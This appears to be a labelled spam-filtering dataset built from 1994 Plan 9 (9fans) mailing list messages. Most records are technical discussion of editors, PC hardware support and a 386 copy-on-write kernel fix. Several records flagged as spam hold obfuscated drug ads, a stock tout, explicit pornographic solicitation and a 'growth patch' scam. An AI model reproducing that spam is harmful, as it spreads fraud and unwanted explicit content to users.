>one already. I'd vote yes (early and often, being from Chicago), >but I've never seen the RFD. Perhaps you could put out the RFD >to a wider audience, certainly including this mailing list, and >maybe including comp.os.linux.misc, comp.sys.notebook, etc. >I'd think that many of the people who are interested in Linux >(c'mon now, running a more or less full-blown UNIX on something >that you can carry around in your backpack is hardly completely >devoid of interest...) would be interested in Plan 9 as well, ne? There were over 40 newsgroups that `could have been relevant' to a RFD for Plan 9. I'd rather not launch a huge campaign, as OS evangelism is a fairly irritating behavior (even when you are running the |<00L3St 0S in the whole wide world :-). I should have sent the RFD to this list, but I was planning to do that only if there was a reasonable support from the rest of the net - after all, if all the support we got was from users of the mailing list, why not just stay with the mailing list? Still as an experiment: if you're reading this list, and you'd go to the trouble of voting on comp.os.plan9, mail me and let me what you'd vote (and if you'd vote `no', then what your reasons are). Support from the people at the Labs is another issue. I would think a newsgroup would reduce the amount of support mail to the Labs, if there was a decent FAQ there and people could post answers about getting Plan 9 up and running. There's also a the fact that of traffic on this list being hardly overwhelming (these last couple weeks are an exception). >I've saved an 80Mb partition to load Plan 9 onto on my notebook... >but haven't had the time to figure out what to do to get it up >and running... Perhaps this should be our first FAQ? PC configuration type stuff? (I await answers to gary's pc file server question with interest). Geoff.",0,0 geoff@plan9.cs.su.oz.au,9fans@cse.psu.edu,"Tue, 08 Feb 1994 11:57:05 -0500",ping... ping... ping...,"Some survey-type questions for non-Bell p9 sites... Out there, who is actually gotten p9 running? (that is, you've got a distribution and you've installed it and gotten a usable system up and running) Of those, how many still have their Plan 9 partition/machine? Of those, how many log onto it regularly, or use it as their system of choice? How about configurations - who is using what? SPARCS? x86's? Dedicated file servers? WORM drives? If a Plan 9 archive site opened, would you want to use 9P to talk to it, or FTP? What would you want to upload? What would you want to see there? How many people at your site use Plan 9? How many develop or do research on it? What are they doing? Of particular interest would be development work - I think we should have a better idea of what the rest of the world is doing, to avoid messy duplication. Post your answers or mail them to me, and I'll strip out locations/identities if you don't want to publish to the world that you're running a system that 1) has a user `none' that can be accessed from anywhere, and 2) can listen to a Ethernet promiscuously Oops - that just slipped out. I'm not trying to give bozos ideas (you can't telnet in as none from outside our department anyway) but some better way of controlling access to the `none' account better be dreamed up (not everyone has the luxury of a firewalled system). Grumph. Another random question while I'm on - are there any good, high-speed point-to-point interfaces to hook up PC's at a fairly short distance (say 0.5m)? It strikes me that most networks are overkill for linking a file server and cpu server, given that they are designed for many hosts and fairly large distances. Neither of these factors apply to a cpu/fs link. A cheap solution to the above would be appreciated. Geoff. ",0,0 Abelone Mento ,lorna@groucho.cse.psu.edu,"Tue, 08 Feb 1994 07:08:33 -0700",Re: CtaALlS new,"Hi C o I g A d L a I b S w X u A s N b A z X j V k I w A p G j R i A f V o A k L g I s U c M q http://www.tesenistu.com useles luminescenc assentatio ulna carame reached. Weve got it! And a location. Our man left an hour ago. For Christs sake, how did you get it? A convoluted process I sincerely believe only your man could have negotiated. Hes brilliantly imaginative, a true camC)lC)on. Lets compare, said Conklin. Whats yours? ",1,1 Vijay Gill ,Gary Capell ,"Tue, 08 Feb 1994 16:27:34 -0500","Re: SCSI support for PC, file server?","On Mon, 7 Feb 1994, Gary Capell wrote: > So does someone have a PC running as a file server somewhere? > If it's possible to get a Plan9 cpu server, file server and terminal > with three off-the-shelf PCs, it expands the possible market > enormously, I think, which means more developers, which means more > software, and support for more hardware, which expands the market, > which...oh who am I kidding? Ok, Forsyth has this exact setup up and running. I can send out the war story of his if you want. Re: Market. I am not sure if going commercial with plan 9 will change anything any more. I wish it would, for then I would not have to program or manage MS-Windows/X11 et al. when I go out to work. The fact that I am paying for college by adminstrating large unix boxen is annoying enough as it is. Plan 9 is very nice but I am not sure if it can make it commercially. MS-Windows: the stuff nightmares are made up out of. vijay ",0,0 Mike Haertel ,9fans@cse.psu.edu,"Tue, 08 Feb 1994 17:26:21 -0500",rumours of plan 9 going commercial,"For some reason various people on this list have been floating rumours about plan 9 going commercial. I think this is ludicrous. At best, wishful thinking; at worst, confusing to others on the list. I don't think Plan 9 has any real chance of going commercial. First of all, the entrenched momentum of the Unix/X11 and DOS/Windows markets is too great. I am essentially the only person here who uses Plan 9; I have tried to find other recruits, but between a shortage of hardware and the ""what do you mean it doesn't have EMACS?"" syndrome, it is an uphill battle. Secondly, remember AT&T sold USL to Novell. I think this makes it clear that AT&T doesn't really want to be in the business of selling operating systems. So basically, forget it. However, I think Rob Pike has said that they are trying to get Plan 9 publicly released. I assume he means as free software along the lines of awk or sam. I believe this is the only way Plan 9 will ever have a chance to see the widespread use it deserves, and so I hope very much that this happens. ",0,0 forsyth@minster.york.ac.uk,9fans@cse.psu.edu,"Tue, 08 Feb 1994 18:32:00 -0500",the old world,">>The fact that I am paying for college by adminstrating large unix >>boxen is annoying enough as it is. ``The monstrous vices of the son have cast a shade on the purity of the father's virtues'' as Gibbon so aptly put it (Decline & Fall). Never mind, there's hope yet. ",0,0 Vijay Gill ,9fans plan9 users list <9fans@cse.psu.edu>,"Tue, 08 Feb 1994 19:38:02 -0500",Re: rumours of plan 9 going commercial," > However, I think Rob Pike has said that they are trying > to get Plan 9 publicly released. I assume he means as > free software along the lines of awk or sam. I believe > this is the only way Plan 9 will ever have a chance to see > the widespread use it deserves, and so I hope very much > that this happens. Oh god, I think the earth moved for me. I am drumming up support for plan 9 here, but when I say it doesn't run emacs, people lose all interest and the weird thing is that after about 2 weeks of running sam, I would hate to go back to emacs, and I am a die hard emacs/vi fan. But most people don't seem to be willing to take the time to learn sam properly. People I showed sam to... oh whats the point. The compatibility list seems to be working, I got some mail about it, so people, if you have PC's running plan 9, mail me your configuration/hardware specs and get them incorporated into the list. vijay ",0,0 Scott Schwartz ,Vijay Gill ,"Tue, 08 Feb 1994 20:10:10 -0500",Re: rumours of plan 9 going commercial ,"| ...the weird thing is that after about 2 weeks of running sam, I would | hate to go back to emacs, and I am a die hard emacs/vi fan. Just wait 'til you see acme. ",0,0 scott@cs.ust.hk,Vijay Gill ,"Tue, 08 Feb 1994 20:04:38 -0500",Sam and emacs,"Vijay writes: >> However, I think Rob Pike has said that they are trying >> to get Plan 9 publicly released. I assume he means as >> free software along the lines of awk or sam. I believe >> this is the only way Plan 9 will ever have a chance to see >> the widespread use it deserves, and so I hope very much >> that this happens. > > Oh god, I think the earth moved for me. > I am drumming up support for plan 9 here, but when I say it > doesn't run emacs, people lose all interest and the weird thing > is that after about 2 weeks of running sam, I would hate to go > back to emacs, and I am a die hard emacs/vi fan. But most people > don't seem to be willing to take the time to learn sam properly. > People I showed sam to... oh whats the point. I'm really hesitant to bring this up... but the main barrier to me to making Plan 9 my major environment is the disdain for emacs. I *really* appreciate having an editor that is programmable down to its bones, in something like a real programming language. It's not that I'm addicted to left-meta-shift-coke bottle style interfaces, but... I really don't understand the ""this page intentionally left blank"" attitude. I mean, the fact that you can build things like ange-ftp and WWW mode is *really* nice! How do accomodate the same sort of thing in sam? And I don't know how to function without emacs' gdb mode! The fact that the editor itself can put me at the line where the music stopped, and I've got a full honest-to-God editor under me without having to go, ""Uh.. lessee.. that was line 136 in file blurfle.c.."". And when I recompile, I have all of the error messages in a buffer, and need two keystrokes per syntax error (which adds up if you've got enough syntax errors ;-) to page through them and fix them -- again, with a real editor. And then there's guess-indent mode that does about as good a job as I can at figuring out where I probably wanted the cursor after the line wraps, and abbrev mode, which now auto-corrects all of my most common typos -- watching somebody's face when I type ""taht "" and they see the ""a"" and the ""h"" switch places as soon as I hit the space is kind of fun. There's lots that I don't like about emacs, but the fact that it's *programmable* means that my productivity as a programmer and generic computer professional is about an order of magnitude higher than it would have been if I didn't have it. The most common complaint that I hear about emacs is that there are too many blasted things to learn -- and the learning curve *is* really steep. But that doesn't seem to be the reason for the intentional blank page in the Plan 9 manual. Would somebody please enlighten me? ",0,0 Scott Schwartz ,scott@cs.ust.hk,"Tue, 08 Feb 1994 21:12:38 -0500",Re: Sam and emacs ,"| I'm really hesitant to bring this up... but the main barrier to me to | making Plan 9 my major environment is the disdain for emacs. I | *really* appreciate having an editor that is programmable down to its | bones, in something like a real programming language. At Usenix Rob was kind enough to let me play with acme (running on a laptop pc) for a while, and it seemed like acme is sufficiently extensible to be able to do most of the interesting things that are attractive about emacs. It was pretty impressive, really. Acme is extensible by using external agents, more like XEDIT and REXX under VM/CMS than like emacs, actually. So if someone ports a Scheme interpreter to Plan 9, who needs elisp? :-) ",0,0 Dave Mason ,9fans@cse.psu.edu,"Tue, 08 Feb 1994 22:21:38 -0500",rumours of plan 9 going commercial,"Date: Tue, 8 Feb 1994 19:38:02 -0500 From: Vijay Gill > However, I think Rob Pike has said that they are trying > to get Plan 9 publicly released. I assume he means as > free software along the lines of awk or sam. I believe > this is the only way Plan 9 will ever have a chance to see > the widespread use it deserves, and so I hope very much > that this happens. Oh god, I think the earth moved for me. I like the Plan 9 design *A*LOT*. I have read most of the documentation (about a year ago). I am currently running Linux on my laptop, because I refuse to run an operating system for which I don't have source. As far as I'm concerned, I do not have source for Plan 9, because though the University may have source, I refuse to look at source that may some day taint me and any operating system code I may produce (c.f. the USL v.s BSDI lawsuit). If the plan 9 source was covered by a copyright like NJ/SML (also from AT&T), I would almost certainly switch (despite my editor comments below). I am drumming up support for plan 9 here, but when I say it doesn't run emacs, people lose all interest and the weird thing is that after about 2 weeks of running sam, I would hate to go I use emacs for 3 reasons: customizability, availability on any platform on which I would consider working, and a shell interface (under which I run the Unix rc) that I can use *from*the*keyboard* (I *hate* mice). I played with the Unix sam for a while, but wasn't too impressed (the native plan 9 version is probably much nicer). acme sounds interesting... if there was a Unix version (for the machines where I can't change the OS) I'd be willing to give it a serious shot. ../Dave",0,0 """Ozan S. Yigit"" ",scott@cs.ust.hk,"Tue, 08 Feb 1994 22:33:31 -0500",Re: Sam and emacs ,"scott deerwester writes in part: ... > I'm really hesitant to bring this up... but the main barrier to me to > making Plan 9 my major environment is the disdain for emacs. some consider p9 emacs man page [""this page intentionally left blank""] to be one of the most profound documents of the recent computing literature. it says all there is to say. > ... I > *really* appreciate having an editor that is programmable down to its > bones, in something like a real programming language. ... > There's lots that I don't like about emacs, but the fact that it's > *programmable* means that my productivity as a programmer and generic > computer professional is about an order of magnitude higher than it > would have been if I didn't have it. emacs is an artifact of a computing world in which most programs cannot be used together to compose other, more interesting work environments. in that world, editors have at best a mediocre interface to outside systems, so anything resembling a uniform environment is possible only by laboriously re-creating the outside world within the editor. of course, this re-creation requires a ""special"" extension language so that the labor can be transferred to the unsuspecting users, who appearently see nothing wrong in their remarkable inability to utilize what is already out there. ""oh, we can just program emacs to do that..."" sigh. an alternative to this opeque, incoherent and incompatible world is to create a transparant, consistent, highly composable environment in which the ""editor"" blends into the environment and is naturally extensible by it. p9 and acme [1] are attempts in that direction, also see oberon [2] for the implementation details of another such system. hope this helps. oz --- [1] Rob Pike Acme: A User Interface for Programmers USENIX Conference Proceedings San Francisco, Winter 1994. [1] Wirth & Gutknecht Project Oberon: The Design of an Operating System & Compiler Addison-Wesley, 1993. ",0,0 pete@minster.york.ac.uk,scott@cs.ust.hk,"Wed, 09 Feb 1994 06:42:17 -0500",Re: Sam and emacs,">I'm really hesitant to bring this up... but the main barrier to me to >making Plan 9 my major environment is the disdain for emacs. I >*really* appreciate having an editor that is programmable down to its >bones, in something like a real programming language. Ugh. An editor is for editing text files. A programming language is for writing programs. Never the twain shall meet, ideally. >It's not that >I'm addicted to left-meta-shift-coke bottle style interfaces, but... >I really don't understand the ""this page intentionally left blank"" >attitude. I mean, the fact that you can build things like ange-ftp >and WWW mode is *really* nice! How do accomodate the same sort of >thing in sam? You don't. Read Rob's papers on Help, and Acme. He's built environments in which text and programs interact (relatively) seamlessly, and instead of a monolithic (or do I mean neolithic :-)) environment like emacs, you have small, neat, integrated tools. >And I don't know how to function without emacs' gdb >mode! The fact that the editor itself can put me at the line where >the music stopped, and I've got a full honest-to-God editor under me >without having to go, ""Uh.. lessee.. that was line 136 in file >blurfle.c.."". And when I recompile, I have all of the error messages >in a buffer, and need two keystrokes per syntax error (which adds up >if you've got enough syntax errors ;-) to page through them and fix >them -- again, with a real editor. > Again, you should read Rob's paper on Help, which shows a wonderful example of debugging -- he shows how to track a bug down to an individual line in a source file without even typing one character... >And then there's guess-indent mode that does about as good a job as I >can at figuring out where I probably wanted the cursor after the line >wraps, and abbrev mode, which now auto-corrects all of my most common >typos -- watching somebody's face when I type ""taht "" and they see the >""a"" and the ""h"" switch places as soon as I hit the space is kind of >fun. This is pretty much a matter of taste. You can probably hack autoindent into Sam if you want it; but as far as auto-correction goes I prefer ""what you type is what you get""... I don't like the editor messing around with my input! > >There's lots that I don't like about emacs, but the fact that it's >*programmable* means that my productivity as a programmer and generic >computer professional is about an order of magnitude higher than it >would have been if I didn't have it. > >The most common complaint that I hear about emacs is that there are >too many blasted things to learn -- and the learning curve *is* really >steep. But that doesn't seem to be the reason for the intentional >blank page in the Plan 9 manual. Would somebody please enlighten me? > There are some Good Things in the emacs philosophy -- multiple buffers, powerful regular expressions, a fairly reasonable text-selection mechanism, etc. In fact, many of the things I like about Sam! However, there are also some Very Bad Lurking Horrors in it -- particularly the use of Lisp as implementation/extension language, and the sheer bulk of ""modern"" emacs. all subjective, Pete -- Peter Fenelon: Research Associate: High Integrity Systems Engineering Group, Dept of Computer Science, University of York, York, Y01 5DD +44/0 904 433388 Email:pete@minster.york.ac.uk *There's no room for enigmas in built up areas ",0,0 gary@joyce.cs.su.OZ.AU,9fans@cse.psu.edu,"Wed, 09 Feb 1994 09:32:37 -0500",Re: no emacs in plan 9,"acme is a better emacs than emacs, because it uses the mouse fully, and is a _tool_ that other programs can use, rather than a monolith. I can understand being disappointed with losing emacs and getting sam, as an integrated environment is a good thing. But when you compare apples with apples, you'll be happy you switched to plan 9 and acme. ",0,0 Dave Mason ,gary@joyce.cs.su.OZ.AU,"Wed, 09 Feb 1994 10:41:24 -0500",no emacs in plan 9," Date: Wed, 9 Feb 1994 09:32:37 -0500 From: gary@joyce.cs.su.OZ.AU (Gary Capell) acme is a better emacs than emacs, because it uses the mouse fully, and is a _tool_ that other programs can use, rather than a monolith. Sounds good for mouse exploiters. But what if I don't want to use the damn mouse? Call me neanderthal, but I'm not willing to slow my work down by a factor of 2 to use a mouse. Does acme support alt/control/shift key bindings? (For reference, I touch the mouse maybe 5 times a day... all my Xwindow focus, open, iconify, etc. are bound to key sequences.) I'm not in love with emacs... in fact I detest many aspects of it, but it's far better than all the other tools I have available... and it lives on all the machines I have to use. ../Dave ",0,0 Bonita Robison ,johnny@groucho.cse.psu.edu,"Wed, 09 Feb 1994 11:29:53 -0120",Re:,"Watch this company closely starting now! De Greko, Inc. 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To see what a big difference this makes in apparent resolution, look at the output of a recent version of xdvi. It's not a frill, but a qualitative improvement in, well, quality. ",0,0 scott@cs.ust.hk,9fans@cse.psu.edu,"Wed, 09 Feb 1994 21:16:06 -0500",Re: Sam and emacs,"I knew that I was going to regret bringing this up. :-) Let's see if I've got this right: the Big Philosophical Reason that the emacs page is blank in the Plan 9 manual is something like: Okay, fine, emacs has wonderful functionality, and is extensible, etc, etc... but the things that make emacs a wonderful tool ought to apply to a whole flinking operating environment, not an editor, for Pete's sake. That's exactly what Plan 9 was written for -- to be an operating system that does, in a modular and sensible way, what emacs does in a horrible monolithic way. So I really ought to be comparing emacs with Plan 9 (and in particular with acme, which is the part of the whole Plan that meets the same goals that emacs-as-world-view meets), and not with sam, which is a very nice *editor*, like God and Rob intended. Am I getting close? Geez, I only just now realized that acme is a pun on ""emacs"". Rob, can I buy a clue, please? ",0,0 gary@joyce.cs.su.OZ.AU,9fans@cse.psu.edu,"Wed, 09 Feb 1994 21:52:50 -0500",Re: seven reasons...,"We have anti-aliased fonts (for times, at least). An anti-aliased version of pelm.9 would be nice, though. There may be licensing problems with scalable fonts? ",0,0 rob@plan9.att.com,9fans@cse.psu.edu,"Wed, 09 Feb 1994 22:19:44 -0500",,"c'mon, guys, take this editor discussion somewhere else please.... -rob ",0,0 rob@plan9.att.com,9fans@cse.psu.edu,"Wed, 09 Feb 1994 22:28:15 -0500",,"there's a background project here to do some scaling font stuff. we may use them one day, if the results are good enough, on our higher-resolution (>130 dpi) monitors. you need the higher res. the problem is that antialiased fonts are often poor for day-to-day use because their fuzziness bothers the eye. programs like nEwS (or your favorite pOSTsCRIPT interpreter, for different reasons) try not to use scaled fonts when they can, but rather refer to precompiled rasterized, hand-tuned, unfuzzy fonts. the results are faster, sharper, more pleasing, and easier on the eye. -rob ",0,0 bob@cs.wisc.edu,scott@cs.ust.hk,"Thu, 10 Feb 1994 09:35:18 -0500",Re: Sam and emacs,"um, I think comp.os.research is a more appropriate place for this discussion. This is ""9fans"" and not ""emacsfans"" after all. Bob. ",0,0 """ozan s. yigit"" ",9fans-owner@cse.psu.edu,"Wed, 09 Feb 1994 22:58:40 -0500",disclaimer.,"it appears that i forgot a disclaimer on my earlier response: they are my views only and in no way reflect the views of anyone associated with the project, or any philosophical basis for that project. ",0,0 scott@cs.ust.hk,9fans@cse.psu.edu,"Thu, 10 Feb 1994 21:22:22 -0500",Apology,"I'd like to apologize for bringing up the topic of emacs here. My intention was to try to better understand Plan 9 as a practical system. The spirit of the original request was: Emacs has all of this wonderful functionality... Plan 9 *must*, but I don't see how. Could somebody explain it to me? I'm a person who likes Plan 9 a *lot* in principle, but who is having a lot of trouble putting that into practice. (I'm also having a lot of trouble convincing anybody else at my institution to care, but that's another issue.) My productivity as a hacker depends strongly on things that emacs gives me. I (and presumably others who share my ""problem"") need to see that moving to Plan 9 won't cut my productivity in half. The issue seemed to me to have a lot more to do with Plan 9 than emacs -- I certainly had no intention to try to ""convert"" anybody to emacs. The discussion has clarified the issue a lot; the thing wrong with emacs (and *right* with Plan 9) is that emacs provides its functionality in a nasty monolithic way instead of in a clean, modular way. Plan 9 gives you functionality similar to that of emacs, but without forcing an editor to be anything but a good editor. In any case, the thread has obviously offended several of you, so I'll drop it... and go back to trying to get Plan 9 running on my notebook. _________________________________________________________________ Scott Deerwester | The Hong Kong University of Internet: scott@cs.ust.hk | Science and Technology Phone: (852) 358-6985 | Department of Computer Science ----------------------------------------------------------------- ",0,0 Gauhar Schmelzer ,rachel@groucho.cse.psu.edu,"Mon, 14 Feb 1994 19:29:06 -0700",Re: good AMBbtEN,"Hi, X a A l N q A h X y C z I m A h L d I g S p V f A w L y I h U k M x V z I k A d G o R z A x http://www.relandanis.com trenche chipmun evidenc dockyar fellin foremost among them the false Jason Bourne. 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",1,1 Vijay Gill ,9fans plan9 users list <9fans@cse.psu.edu>,"Mon, 21 Feb 1994 11:03:06 -0500",Hardware compatibility list," Added: Systems - Systems/setups that work with plan 9. The purpose of this list is to maintain a database of hardware that is known to work with plan 9. This should make life easier for those people contemplating the purchase of new hardware. Most of this list is taken directly from what Forsyth sent me. Please do not deluge him with mail, reply to me and I'll try to set up a mechanism to distribute this stuff. The list is starting out for the most selfish of reasons, since I am in the market for some hardware to run plan 9, I thought it would be a good idea to find out what to get. This list will concentrate mostly on the 386/486 clone hardware. While the 386/486 machines are looked upon with derision, they provide the cheapest hardware to run plan 9. However, most of the hardware is only tested with, and comes with drivers for, DOS and Windows, and thus may not work with plan 9. This list details the stuff that works with plan 9. BeginBlurb: Plan 9 on a Mac. No more futzing around. I could deal with plan9 running on the new cheap 68040 Quadra's or the LC's. End Blurb. Note: Our paperwork still hasn't arrived yet. And we even have the hardware available, which I think is a first in the history of our school. Contributors: Most of this hardware list comes from forsyth@minster.york.ac.uk who has done yeoman work to contributing to this list. Actually, come to think of it, his is about the only contribution ;) Here is the list of hardware that will work with plan 9. Other hardware may work with plan 9, but this list will only list stuff that is known to work or stuff that I need confirmation on. ----------------------------------------------------- Bus: ISA VESA EISA (may work with ISA Cards, need confirmation) ----------------------------------------------------- CPU: Intel AMD - To be tested by Forsyth Cyrix - Ditto IBM SLC - Has been tested and is known to work. ------------------------------------------------------ Video Cards: This is the trickiest part. SVGA cards all have different ways of configuring and operating high-resolution modes (higher than 640x480 VGA). ET4000 SVGA cards work. S3 911 cards work, with some changes to devvga.c and lib/vga. The SVGA mode is, ``horrible, just horrible.'' Paradise cards (reportedly) work. Diamond Stealth Pro cards work, with some changes to devvga.c and lib/vga. This is from Gary Capell. ------------------------------------------------------ Ethernet cards: WD SMC NE2000 clones (Reset port address it uses might not work on some clones) 3Com 3C509 Etherlink III (need to get some fixes to use the driver under very heavy loads) 3Com 3C503 -- Avoid this one ------------------------------------------------------------ Hard Disk Controllers: Ultrastor 14F SCSI (driver is available by ftp) Adaptec 1542B/Buslogic 542B (driver is available, but hasn't been used very much) Forsyth has added the driver for the Ultrastor 14F. He has used it on both cpu and terminal machines, and also on the file server, running Fujitsu 2624FA disks, Seagate 3283N and Sun CDROM drives. Standard IDE controllers should work. -------------------------------------------------------------- Memory: 8-16 megs should be adequate. More is better. -------------------------------------------------------------- Modems: High speed modems will work but the kernel does not take advantage of the FIFO's in the 16550 UARTS. Forsyth can supply the diffs and the appropriate changes that will work for `hayes', which work fine upto 38400. ----------------------------------------------------------------------- Diskettes: Stick with 3.5"" 1.44 meg or 5.25"". Plan 9 does not work too well with 2.88 meg 3.5"". ----------------------------------------------------------------------- Disks: The pc system on the distribution (Jan 1993 version) supports IDE disks. The IDE driver has a bug in it that causes it to fail on very old Seagate 42 Meg drives (fixed by Forsyth). Modern IDE drives work just fine. ----------------------------------------------------------------------- Systems: Forsyth has gotten plan 9 running on an IBM 486SLC2/66 (IBM Path chipset) ISA motherboard. This chipset is IBM's own and the CPU is not Intel's. The only trick is that you need to select the Fast mode of the A20 Gate option in the BIOS options. Plan 9 doesn't run long with the `Normal' A20 setting. Also set the OS/2 option as the motherboard manual suggests. Forsyth couldn't figure out what it does, but it is probably a good idea to do it. He is currently running a domain name service on this machine. : Stephen Gallimore has the following setup: Elonex 486/33 8MB RAM, SMC Combo Ethernet card, 210 MB IDE drive. Headland (Video 7) local bus SVGA. There are some problems with kernel crashes on this setup and the video is a bit suspect (pvga/nec4 800x600 setup is being used, this gives the wrong aspect for the monitor). Needs a proper vga database entry for the card. This setup is using an SGI 210/VGX as the fileserver over u9fs, although the local disk is being used as well. : Bernd Waldbauer has plan 9 running on a standard 386DX box, with a noname ET4000 and an SMC Ethernet card. He gets 1024x768 on an EIZO F550i. --- This is the list as it stands. If you have plan 9 running on different hardware, please send me details. War stories welcomed, to go into the war stories list. I presently have Forsyth's war story. More input welcomed. I will be looking at putting this stuff up for anon ftp when I have sufficient volume. If there is sufficient interest, I'll post up the war stories that I have. -- Vijay Gill |The (paying) customer is always right. wrath@cs.umbc.edu | - Piercarlo Grandi vijay@gl.umbc.edu | Eagles may soar, but weasels don't get These are my opinions only. | sucked into jet engines. ",0,0 Vijay Gill ,9fans plan9 users list <9fans@cse.psu.edu>,"Mon, 21 Feb 1994 23:14:11 -0500",Finally," We just got in our licence agreement in today, got it checked out, signed and ready to send back to Bell Labs tomorrow. More to the point, I also got funding and approval to spend about $20000 in purchasing some PCs and want the input from the people on the list as to what sort of hardware would you recommend? If the maintainer of the comptability list got some uncompatible hardware... talk about egg on face. Specifically, CD-ROM - Should I pony up for an UltraStor 14F + ext. CDROM or are there better alternatives available? (This leads to a chicken and Egg problem. Forsyth has written the 14F drivers, but how to use them without having a running plan 9 system first? heh) Any horror stories, caveats, bring em up now and they'll go into the list. excuse my babbling, finally something has crystallized. -- Vijay Gill |The (paying) customer is always right. wrath@cs.umbc.edu | - Piercarlo Grandi vijay@gl.umbc.edu | Eagles may soar, but weasels don't get These are my opinions only. | sucked into jet engines. ",0,0 Vijay Gill ,9fans plan9 users list <9fans@cse.psu.edu>,"Wed, 23 Feb 1994 10:50:30 -0500",Video Cards," Ok, I am writing up a spec for the machines we are going to buy. Anyone (forsyth, capell, waldbauer, the good folks reading this at plan9.att.com etc) have any recommendations as to what sort of local bus card I should spring for? I know ET4000 localbus works, are there any others that work better/faster? Most people are trying to sell us Diamond pro or ATI. I know diamond cards work, (capell), but in our licensing agreement, it says you can't export code outside the country and capell et al are in Australia. Or are the diffs/changes not subject to the agreement? I would like to get the Diamond cards or ATI's if possible. (As you can see, I am not too familiar with the PC hardware side of things, I do most of my work on unix workstations/servers). -- Vijay Gill |The (paying) customer is always right. wrath@cs.umbc.edu | - Piercarlo Grandi vijay@gl.umbc.edu | Eagles may soar, but weasels don't get These are my opinions only. | sucked into jet engines. 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The name is VSTa and more information is available under ftp.cisco.com:/vandys/vsta/vsta_intro.ps The leading / before vandys is very important. Cisco have a very weird, supposedly secure ftp set up and unless you know the paths, you'll probably not make it. Vijay Gill vijay@umbc.edu ",0,0 Steven Norris ,karla@groucho.cse.psu.edu,"Tue, 01 Mar 1994 06:39:09 -0400",Young esthetical Sluts Pornn lovely Videoo!," Youngest well-favored Girl fuckedd anally! http://playfulplay.info/index13.html?iSPhfd.fX,hj U_N_S_U_BB_$_C_R_l_B_E http://playfulplay.info/ ",1,1 Csilla Wurth ,steve@groucho.cse.psu.edu,"Mon, 28 Feb 1994 21:31:06 -0700",Re: your VtAGRkA,"Hi V L C P V A X A e I r I m a L v A o A b n I i L z G i a U t I a R e x M ra S c A n http://www.cationslate.com I am far more sweet than other meat, but still they cannot find me! Here am I, naughty little fly; you are fat and lazy. You cannot trap me, though you try, in your cobwebs crazy. ",1,1 Scott Schwartz ,9fans@cse.psu.edu,"Tue, 01 Mar 1994 16:33:35 -0500",archive,"A number of people have asked if the list is archived somewhere. Since there is interest, I've collected the messages received to date and put them up for ftp at ftp.cse.psu.edu:/pub/plan9-fans/9fans.93-94 Future messages should be appended to that file automatically. ",0,0 Sean Quinlan ,9fans@cse.psu.edu,"Tue, 01 Mar 1994 19:47:03 -0500",,"There is a problem with the plan9 memory management system for the PC due to one of the brain dead features of the 386 architecture. In particular, the R/W bit in a user page table entry is ignored when the processor is in supervisor mode. This means that copy on write will not work when the kernel is copying into user space. For example the following code segment exhibits the problem. #include #include char buf[1024]; main() { int i; if (fork() == 0) { /* make sure memory is allocated RONLY */ i = buf[0]; read(0, buf, 1024); print(""%s\\n"", buf); exits(0); } /* wait a second so the child completes */ sleep(1000); buf[1023] = 0; print(""parent -> %s\\n"", buf); } On plan 9 for the pc, the data read into buf will incorrectly appear in both the child and parent process. The 486 (and higher?) fixed the problem but to maintain compatibility it defaults to the 386 behavior. On a 486 you need to set bit 16 in CR0 to get the correct behavior for the R/W bit. Of course, if you have a 386, then copy on write can not be fixed, but you can still run plan9 with a copy on reference scheme... unfortunately, this means your 386 machine runs slower and requires more memory... The complete fix of the problem, thanks to Dave Presotto, follows: Here's the changes. It works on a couple of 486's and 386's so its probably right. In l.s (around line 131) change ORL $0X80000000,AX ANDL $~(0x8|0x2),AX /* TS=0, MP=0 */ to ORL $0X80010000,AX ANDL $~(0x40000000|0x20000000|0x8|0x2),AX /* CD=0, NW=0, TS=0, MP=0 */ This also turns on internal caching in case it was off. In l.s add the routine /* * return cpu type (what is a pentium?) */ TEXT x86(SB),$0 PUSHFL MOVL 0(SP),AX ORL $0x40000,AX PUSHL AX POPFL PUSHFL POPL AX ANDL $0x40000,AX JZ is386 MOVL $486,AX JMP done is386: MOVL $386,AX done: POPFL RET This returns the number 386 or 486 depending. I guess it'll return 586 also when I get a chance at a Pentium. In fns.h add a definition for it: int x86(void); In main.c in confinit() change conf.copymode = 0; /* copy on write */ to switch(x86()){ case 386: conf.copymode = 1; /* copy on reference */ break; default: case 486: conf.copymode = 0; /* copy on write */ break; } and you're done.",0,0 Jimmy Foreman ,rodney@groucho.cse.psu.edu,"Wed, 02 Mar 1994 22:29:46 +0600",RE:you,"Hey , nice talking to you the other day.  Over a million men have been helped with the potent ingredients in Peniis Growth Patch – men have experienced bigger size, more action,and super-satisfying results for themselves and their partners.Don't be left behind! Take advantage 0f price specials g0ing on now.   Silver Package: 25 Patches reg $129.95, Now $99.95! Free shipping and free exercise manual included! gore bikini dalton southeastern Gold Package: 4O Patches reg $189.95, N0w $149.95! Free shipping and free exercise manual included!dial soulful Platinum Package: 65 Patches reg $259.95, Now $199.95! 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I just got in a pentium a few weeks ago because they weren't selling them at the time, or 3) Look at buying a machine that is officially supported by something like nextstep or solaris and state on the requisition you are planning to run that OS ---cut I have approval to get 4 machines but the local dealer with wich we have a contract with is gouging us, so to get out of the coils, we have to get machines that are NeXTSTEP/Solaris certified, and most of these machines come with weird mainstream cards. I need your help in getting a list of video cards that work. I am not that good (yet) with intel hardware and would prefer the minimum of problems getting it up to run first. So if you have any YES - This card runs, please mail me it. I would really love if the ATI UltraPro or something like that worked. Diamond is not too well liked here so thats out. I was hoping for something like the list of supported cards direct from the horses mouth so to speak. The only NeXTSTEP machine that has ET4000/W32 etc chipset is the NEC Image series, which are not as much bang for the buck as Gateway 2000 or the other clones. I know Compaq Qvision probably won't work, so we can't get the Compaq Deskpro's. (Local bus is good) Any idea what hardware the plan9 folks are running (x86). Vijay Gill |The (paying) customer is always right. wrath@cs.umbc.edu | - Piercarlo Grandi vijay@gl.umbc.edu | Eagles may soar, but weasels don't get These are my opinions only. | sucked into jet engines. ",0,0 Vijay Gill ,9fans plan9 users list <9fans@cse.psu.edu>,"Thu, 03 Mar 1994 22:25:14 -0500",Plan 9: The future," First of all: A minor gripe. I made the mistake of installing sam and giving the plan 9 papers (all of them) to the programmers at the place where I work. After a month, I was approached by the manager of our programmers asking if I could install plan 9 on the machines as he was getting tired of hearing the constant demands for more plan 9 stuff from them. Apparently the set up that I am in charge of (3 6 processor AViiONS, with 1 gig of ram, 36 gig Clariion disk arrays, optical juke boxes etc with a lot of the smaller Aviions on the programmers desks + the odd DEC 3000 Alpha box) maps well into the plan 9 model and it turns out that the programmers seem to agree with what the designers of plan 9 had to say. They use sam exclusively now and want more of the same. I was sitting in a meeting for 2 hours today 